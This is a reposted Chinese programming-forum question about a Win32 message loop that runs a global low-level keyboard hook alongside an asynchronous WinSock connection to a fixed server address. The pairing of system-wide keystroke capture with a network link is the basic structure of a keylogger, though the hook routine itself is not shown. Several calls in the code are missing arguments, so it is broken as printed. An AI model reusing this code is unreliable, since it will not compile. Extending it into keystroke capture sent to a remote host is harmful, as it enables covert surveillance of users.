如何解决同时处理2条消息
我有以下代码能够通过tcp接收数据并能够发送 数据同时超过winsock。但是,队列中只有一条消息得到处理,我希望能够同时处理击键并通过套接字异步接收数据。
在不阻塞消息队列之一的情况下如何做到这一点
#define WM_SOCKET_MSG (WM_APP + 1)
int main()
{
Init();
S = ConnectToServer("192.168.2.10",54782);
char _buf[1024] = { 0 };
/*
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,_In_ HOOKPROC lpfn,_In_ HINSTANCE hMod,_In_ DWORD dwThreadId
);
*/
// Start the hook of the keyboard
KeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,// low-level keyboard input events
HookProcedure,// pointer to the hook procedure
GetModuleHandle(NULL),// A handle to the DLL containing the hook procedure
NULL //desktop apps,if this parameter is zero
);
if (!KeyboardHook) {
// Hook returned NULL and failed
GetLastError();
}
else
{
WSAAsyncSelect(S,NULL,WM_SOCKET_MSG,FD_READ | FD_WRITE | FD_CLOSE);
int n;
char command[20];
MSG Msg;
while (GetMessageW(&Msg,0) > 0)
{
switch (Msg.message)
{
case WM_SOCKET_MSG:
{
int event = WSAGETSELECTEVENT(Msg.lParam);
int error = WSAGETSELECTERROR(Msg.lParam);
if (error != 0)
{
break;
}
switch (event)
{
case FD_READ:
n = recv(S,_buf,sizeof(_buf) - 1,0);
if (n > 0) {
// process data as needed ...
MessageBoxA(0,0);
}
else {
//error
}
break;
}
}
break;
}
// process other messages as needed ...
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
}
unhookKeyboard();
// Exit if failure
return 0;
}
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。